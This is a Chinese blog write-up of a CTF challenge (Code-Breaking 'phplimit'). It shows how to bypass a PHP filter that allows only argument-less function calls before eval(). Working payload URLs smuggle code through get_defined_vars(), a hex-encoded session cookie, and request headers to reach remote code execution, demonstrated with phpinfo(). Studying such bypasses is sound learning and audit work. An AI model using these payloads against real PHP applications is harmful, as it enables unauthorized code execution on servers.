<!DOCTYPE html>



  


<html class="theme-next mist use-motion" lang="">
<head><meta name="generator" content="Hexo 3.8.0">
  <meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="theme-color" content="#222">



  
  
    
    
  <script src="/lib/pace/pace.min.js?v=1.0.2"></script>
  <link href="/lib/pace/pace-theme-minimal.min.css?v=1.0.2" rel="stylesheet">







<meta http-equiv="Cache-Control" content="no-transform">
<meta http-equiv="Cache-Control" content="no-siteapp">
















  
  
  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">







<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">

<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=5.1.4">


  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">





  <meta name="keywords" content="代码审计,">










<meta name="description" content="最近在学习和总结代码审计的一些奇淫技巧，正好看到codebreaking上的题目，去年做的时候还是没什么头绪，所以准备完整学习总结下,预计会多写几篇这样的技巧记录，多学习一些tricks顺便还能开阔眼界。 示例背景以codebreaking的phplimit题目为例，我们以实现RCE为目的来进行分析 题目代码 &amp;lt;?php if(&amp;apos;;&amp;apos; === preg_replace(&amp;">
<meta name="keywords" content="代码审计">
<meta property="og:type" content="article">
<meta property="og:title" content="PHP无参数实现RCE">
<meta property="og:url" content="https://yml-sec.top/2019/05/24/PHP无参数实现RCE/index.html">
<meta property="og:site_name" content="yemoli&#39;s blog">
<meta property="og:description" content="最近在学习和总结代码审计的一些奇淫技巧，正好看到codebreaking上的题目，去年做的时候还是没什么头绪，所以准备完整学习总结下,预计会多写几篇这样的技巧记录，多学习一些tricks顺便还能开阔眼界。 示例背景以codebreaking的phplimit题目为例，我们以实现RCE为目的来进行分析 题目代码 &amp;lt;?php if(&amp;apos;;&amp;apos; === preg_replace(&amp;">
<meta property="og:locale" content="default">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-f834531b62ea2927.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-57121e63315ee829.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-893bbb955f44a26a.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-47f9139ed80722f8.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-915b380d7774c4d3.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-4cf59868f32f29a7.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-e4de269cf910cb9e.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-c81a4de3916e513f.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-6e664ee6d2ac5169.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-909f0566162f24d7.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-ed442311a16d53ad.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-1d3f65faa1f4e291.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-4a2ef551aa52a5e5.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-d91f2b2131292966.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-b43a8accde32d946.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-c63322a2bda1b0e2.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-91e92135c3e0c088.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-f47f34f825db61a8.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/13385151-d2426cdaefddd78c.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">
<meta property="og:updated_time" content="2019-05-24T11:10:19.913Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="PHP无参数实现RCE">
<meta name="twitter:description" content="最近在学习和总结代码审计的一些奇淫技巧，正好看到codebreaking上的题目，去年做的时候还是没什么头绪，所以准备完整学习总结下,预计会多写几篇这样的技巧记录，多学习一些tricks顺便还能开阔眼界。 示例背景以codebreaking的phplimit题目为例，我们以实现RCE为目的来进行分析 题目代码 &amp;lt;?php if(&amp;apos;;&amp;apos; === preg_replace(&amp;">
<meta name="twitter:image" content="https://upload-images.jianshu.io/upload_images/13385151-f834531b62ea2927.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240">



<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Mist',
    version: '5.1.4',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: true,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    duoshuo: {
      userId: '0',
      author: 'Author'
    },
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>



  <link rel="canonical" href="https://yml-sec.top/2019/05/24/PHP无参数实现RCE/">





  <title>PHP无参数实现RCE | yemoli's blog</title>
  








</head>

<body itemscope="" itemtype="http://schema.org/WebPage" lang="default">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>
    <header id="header" class="header" itemscope="" itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">yemoli's blog</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
      
        <p class="site-subtitle"></p>
      
  </div>

  <div class="site-nav-toggle">
    <button>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>

<nav class="site-nav">
  

  
    <ul id="menu" class="menu">
      
        
        <li class="menu-item menu-item-home">
          <a href="/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
            
            Home
          </a>
        </li>
      
        
        <li class="menu-item menu-item-about">
          <a href="/about/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
            
            About
          </a>
        </li>
      
        
        <li class="menu-item menu-item-tags">
          <a href="/tags/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
            
            Tags
          </a>
        </li>
      
        
        <li class="menu-item menu-item-archives">
          <a href="/archives/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
            
            Archives
          </a>
        </li>
      
        
        <li class="menu-item menu-item-friends">
          <a href="/friends/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-sitemap"></i> <br>
            
            friends
          </a>
        </li>
      

      
    </ul>
  

  
</nav>



 </div>
    </header>

    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://yml-sec.top/2019/05/24/PHP无参数实现RCE/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="夜莫离、">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="yemoli's blog">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">PHP无参数实现RCE</h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Posted on</span>
              
              <time title="Post created" itemprop="dateCreated datePublished" datetime="2019-05-24T19:09:43+08:00">
                2019-05-24
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">Words count in article&#58;</span>
                
                <span title="Words count in article">
                  1.2k
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">Reading time &asymp;</span>
                
                <span title="Reading time">
                  5
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <p>最近在学习和总结代码审计的一些奇淫技巧，正好看到codebreaking上的题目，去年做的时候还是没什么头绪，所以准备完整学习总结下,预计会多写几篇这样的技巧记录，多学习一些tricks顺便还能开阔眼界。</p>
<h1 id="示例背景"><a href="#示例背景" class="headerlink" title="示例背景"></a>示例背景</h1><p>以codebreaking的phplimit题目为例，我们以实现RCE为目的来进行分析</p>
<p>题目代码</p>
<pre><code>&lt;?php
if(&apos;;&apos; === preg_replace(&apos;/[^\W]+\((?R)?\)/&apos;, &apos;&apos;, $_GET[&apos;code&apos;])) {    
    eval($_GET[&apos;code&apos;]);
} else {
    show_source(__FILE__);
}
</code></pre><p>首先我们简单分析下正则部分</p>
<p>[^\W]的意思是包括所有数字字母和下划线，而((?R)?)表示重复进行整个模式</p>
<p>这意味着我们需要输入可以循环嵌套的字符串，也就意味着如果我们输入一个有参数的函数，将不会成功的匹配正则</p>
<p>所以输入点我们虽然可以输入函数，但是不能输入有参数的函数</p>
<p>下面讨论下bypass的方法</p>
<h1 id="nginx下的利用"><a href="#nginx下的利用" class="headerlink" title="nginx下的利用"></a>nginx下的利用</h1><h2 id="基于get-defined-vars-函数的利用"><a href="#基于get-defined-vars-函数的利用" class="headerlink" title="基于get_defined_vars()函数的利用"></a>基于get_defined_vars()函数的利用</h2><p>我们看一下该函数的官方文档</p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-f834531b62ea2927.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="1.jpg"></p>
<p>我们可以通过定义新的变量来控制该函数的返回值</p>
<p>例如下面这样</p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-57121e63315ee829.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="2.jpg"></p>
<pre><code>array(4) { [&quot;_GET&quot;]=&gt; array(2) { [&quot;yml&quot;]=&gt; string(4) &quot;cool&quot; [&quot;code&quot;]=&gt; string(29) &quot;var_dump(get_defined_vars());&quot; } [&quot;_POST&quot;]=&gt; array(0) { } [&quot;_COOKIE&quot;]=&gt; array(0) { } [&quot;_FILES&quot;]=&gt; array(0) { } } 
</code></pre><p>我们可以使cool变成我们想要执行的代码，例如phpinfo();</p>
<pre><code>http://127.0.0.1/demo5.php?yml=phpinfo();&amp;code=var_dump(get_defined_vars());
</code></pre><p><img src="https://upload-images.jianshu.io/upload_images/13385151-893bbb955f44a26a.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="3.jpg"></p>
<p>然后我们现在要想办法将我们想执行的代码从数组中提取出来</p>
<p>用到下面几个函数</p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-47f9139ed80722f8.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="4.jpg"></p>
<p>先用current函数取出get键值所对应的值</p>
<pre><code>http://127.0.0.1/demo5.php?yml=phpinfo();&amp;code=var_dump(current(get_defined_vars()));
</code></pre><p><img src="https://upload-images.jianshu.io/upload_images/13385151-915b380d7774c4d3.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="4.jpg"></p>
<p>然后再利用array_values函数</p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-4cf59868f32f29a7.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="5.jpg"></p>
<p>将数组的值重新组成一个数组</p>
<pre><code>http://127.0.0.1/demo5.php?yml=phpinfo();&amp;code=var_dump(array_values(current(get_defined_vars())));
</code></pre><p><img src="https://upload-images.jianshu.io/upload_images/13385151-e4de269cf910cb9e.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="6.jpg"></p>
<p>再次利用current函数取出数组第一个值</p>
<pre><code>http://127.0.0.1/demo5.php?yml=phpinfo();&amp;code=var_dump(current(array_values(current(get_defined_vars()))));
</code></pre><p><img src="https://upload-images.jianshu.io/upload_images/13385151-c81a4de3916e513f.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="7.jpg"></p>
<p>将var_dump改成eval即可实现RCE</p>
<pre><code>http://127.0.0.1/demo5.php?yml=phpinfo();&amp;code=eval(current(array_values(current(get_defined_vars()))));
</code></pre><p><img src="https://upload-images.jianshu.io/upload_images/13385151-6e664ee6d2ac5169.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="8.jpg">        </p>
<h2 id="控制header头某些参数"><a href="#控制header头某些参数" class="headerlink" title="控制header头某些参数"></a>控制header头某些参数</h2><p>我们可以控制header的某些参数来实现恶意代码的传输，这时我们需要利用code参数来传入一个获取header属性值的函数</p>
<p>head头中最常见的属性就是cookie了，我们可以利用session_id()这个函数</p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-909f0566162f24d7.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="19.jpg"></p>
<p>我们可以控制sessionid的值，然后用session_id()来获取sessionid</p>
<p>由于sessionid格式的限制，我们可以将想控制的参数转为16进制，然后在code处使用hex2bin函数将16进制数转字符串函数即可</p>
<p>我们实际测试一下</p>
<p>首先将phpinfo();转成16进制数</p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-ed442311a16d53ad.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="10.jpg"></p>
<p>然后请求URL</p>
<pre><code>http://127.0.0.1/demo5.php?code=eval(hex2bin(session_id()));
</code></pre><p>抓包修改cookie为phpinfo()的16进制</p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-1d3f65faa1f4e291.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="11.jpg"></p>
<p>发现并没有执行phpinfo()</p>
<p>仔细分析我们的利用方式，通过对session机制的深入了解，在w3school发现了这个</p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-4a2ef551aa52a5e5.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="12.jpg"></p>
<p>此时更改我们请求的URL为</p>
<pre><code>http://127.0.0.1/demo5.php?code=eval(hex2bin(session_id(session_start())));
</code></pre><p>再次进行上述操作，成功实现RCE</p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-d91f2b2131292966.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="13.jpg"></p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-b43a8accde32d946.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="14.jpg"></p>
<h1 id="apache下的利用"><a href="#apache下的利用" class="headerlink" title="apache下的利用"></a>apache下的利用</h1><p>当web服务器为apache时，nginx下的函数虽不能用，但是我们可以使用同样的思路，通过控制head头参数来实现RCE</p>
<p>我们可以使用getallheaders函数，来看一下官方文档</p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-c63322a2bda1b0e2.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="15.jpg"></p>
<p>实际测试一下</p>
<pre><code>http://127.0.0.1/demo5.php?code=var_dump(getallheaders());
</code></pre><p>返回信息</p>
<pre><code>array(8) {
  [&quot;Host&quot;]=&gt;
  string(9) &quot;127.0.0.1&quot;
  [&quot;User-Agent&quot;]=&gt;
  string(73) &quot;Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0&quot;
  [&quot;Accept&quot;]=&gt;
  string(63) &quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;
  [&quot;Accept-Language&quot;]=&gt;
  string(35) &quot;zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3&quot;
  [&quot;Accept-Encoding&quot;]=&gt;
  string(13) &quot;gzip, deflate&quot;
  [&quot;DNT&quot;]=&gt;
  string(1) &quot;1&quot;
  [&quot;X-Forwarded-For&quot;]=&gt;
  string(9) &quot;127.0.0.1&quot;
  [&quot;Connection&quot;]=&gt;
  string(10) &quot;keep-alive&quot;
}
</code></pre><p>这样我们可以尝试控制host的值来传入我们的命令，如phpinfo();</p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-91e92135c3e0c088.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="16.jpg"></p>
<p>为了将phpinfo();取出来，我们可以使用current函数</p>
<pre><code>http://127.0.0.1/demo5.php?code=var_dump(current(getallheaders()));
</code></pre><p><img src="https://upload-images.jianshu.io/upload_images/13385151-f47f34f825db61a8.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="17.jpg"></p>
<p>将var_dump()改为eval()即实现RCE</p>
<pre><code>http://127.0.0.1/demo5.php?code=eval(current(getallheaders()));
</code></pre><p><img src="https://upload-images.jianshu.io/upload_images/13385151-d2426cdaefddd78c.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="18.jpg"></p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>虽然刚入手这一部分的知识感觉理解上很吃力，但是经过自己反复实际操作后，也弄清楚了很多细节，理清背景思路后回头思考会发现并没有那么困难，这也引发了我的一些思考，我们在平时学习某一块的知识时，不应该光看不做，只有实际操作后才会弄清很多细节，深刻理解这些技巧的精髓。</p>

      
    </div>
    
    
    

    

    
      <div>
        <div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
  <div>坚持原创技术分享，您的支持将鼓励我继续创作！</div>
  <button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
    <span>Donate</span>
  </button>
  <div id="QR" style="display: none;">

    
      <div id="wechat" style="display: inline-block">
        <img id="wechat_qr" src="/images/wechatpay.jpg" alt="夜莫离、 WeChat Pay">
        <p>WeChat Pay</p>
      </div>
    

    
      <div id="alipay" style="display: inline-block">
        <img id="alipay_qr" src="/images/alipay.jpg" alt="夜莫离、 Alipay">
        <p>Alipay</p>
      </div>
    

    

  </div>
</div>

      </div>
    

    

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/代码审计/" rel="tag"># 代码审计</a>
          
        </div>
      

      
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/2019/05/14/code-breaking-function/" rel="next" title="code-breaking-function">
                <i class="fa fa-chevron-left"></i> code-breaking-function
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/2019/06/07/强网杯2019-upload题目复现/" rel="prev" title="强网杯2019 upload题目复现">
                强网杯2019 upload题目复现 <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>



    <div class="post-spread">
      
    </div>
  </div>


          </div>
          


          

  



        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
            Table of Contents
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
            Overview
          </li>
        </ul>
      

      <section class="site-overview-wrap sidebar-panel">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope="" itemtype="http://schema.org/Person">
            
              <p class="site-author-name" itemprop="name">夜莫离、</p>
              <p class="site-description motion-element" itemprop="description"></p>
          </div>

          <nav class="site-state motion-element">

            
              <div class="site-state-item site-state-posts">
              
                <a href="/archives/">
              
                  <span class="site-state-item-count">58</span>
                  <span class="site-state-item-name">posts</span>
                </a>
              </div>
            

            

            
              
              
              <div class="site-state-item site-state-tags">
                <a href="/tags/index.html">
                  <span class="site-state-item-count">16</span>
                  <span class="site-state-item-name">tags</span>
                </a>
              </div>
            

          </nav>

          

          
            <div class="links-of-author motion-element">
                
                  <span class="links-of-author-item">
                    <a href="https://github.com/yemoli" target="_blank" title="GitHub">
                      
                        <i class="fa fa-fw fa-github"></i>GitHub</a>
                  </span>
                
            </div>
          

          
          

          
          
            <div class="links-of-blogroll motion-element links-of-blogroll-block">
              <div class="links-of-blogroll-title">
                <i class="fa  fa-fw fa-link"></i>
                Links
              </div>
              <ul class="links-of-blogroll-list">
                
                  <li class="links-of-blogroll-item">
                    <a href="https://chxing.xyz/" title="Bling_Dog" target="_blank">Bling_Dog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.smi1e.top/" title="Smi1e" target="_blank">Smi1e</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://altman.vip/" title="Altman" target="_blank">Altman</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.virtua1.cn/" title="Virtua1" target="_blank">Virtua1</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.zhaoj.in/" title="赵" target="_blank">赵</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.dongzt.cn/" title="Alkaid" target="_blank">Alkaid</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://cdusec.com/" title="CDUSEC" target="_blank">CDUSEC</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://cdusec.happyhacking.top/" title="CDUSEC内部博客" target="_blank">CDUSEC内部博客</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://jjhpkcr.xyz/" title="江江河畔砍柴人" target="_blank">江江河畔砍柴人</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.youknowi.xin/" title="图先生" target="_blank">图先生</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://a3ura.github.io/" title="a3ura" target="_blank">a3ura</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.recorday.cn/" title="C0d3r1iu" target="_blank">C0d3r1iu</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.iloveflag.com/" title="醉梦半醒" target="_blank">醉梦半醒</a>
                  </li>
                
              </ul>
            </div>
          

          

        </div>
      </section>

      
      <!--noindex-->
        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
          <div class="post-toc">

            
              
            

            
              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#示例背景"><span class="nav-number">1.</span> <span class="nav-text">示例背景</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#nginx下的利用"><span class="nav-number">2.</span> <span class="nav-text">nginx下的利用</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#基于get-defined-vars-函数的利用"><span class="nav-number">2.1.</span> <span class="nav-text">基于get_defined_vars()函数的利用</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#控制header头某些参数"><span class="nav-number">2.2.</span> <span class="nav-text">控制header头某些参数</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#apache下的利用"><span class="nav-number">3.</span> <span class="nav-text">apache下的利用</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#总结"><span class="nav-number">4.</span> <span class="nav-text">总结</span></a></li></ol></div>
            

          </div>
        </section>
      <!--/noindex-->
      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; 2018 &mdash; <span itemprop="copyrightYear">2020</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">夜莫离、</span>

  
</div>


  <!-- <div class="powered-by">Powered by <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a></div> 



  <span class="post-meta-divider">|</span>



  <div class="theme-info">Theme &mdash; <a class="theme-link" target="_blank" href="https://github.com/iissnan/hexo-theme-next">NexT.Mist</a> v5.1.4</div>-->



<div class="theme-info">
 <div class="powered-by"></div>
 <span class="post-count">博客全站共63.1k字</span>
</div>
        







        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    

  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>









  


  











  
  
    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
  

  
  
    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
  

  
  
    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
  

  
  
    <script type="text/javascript" src="/lib/canvas-nest/canvas-nest.min.js"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>



  
  

  
  <script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=5.1.4"></script>



  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>



  


  




	





  





  












  





  

  

  

  
  

  

  

  

  
<script type="text/javascript" src="//cdn.bootcss.com/canvas-nest.js/1.0.0/canvas-nest.min.js"></script>

<!-- 页面点击小红心 -->
<script type="text/javascript" src="/js/src/love.js"></script>
</body>
</html>
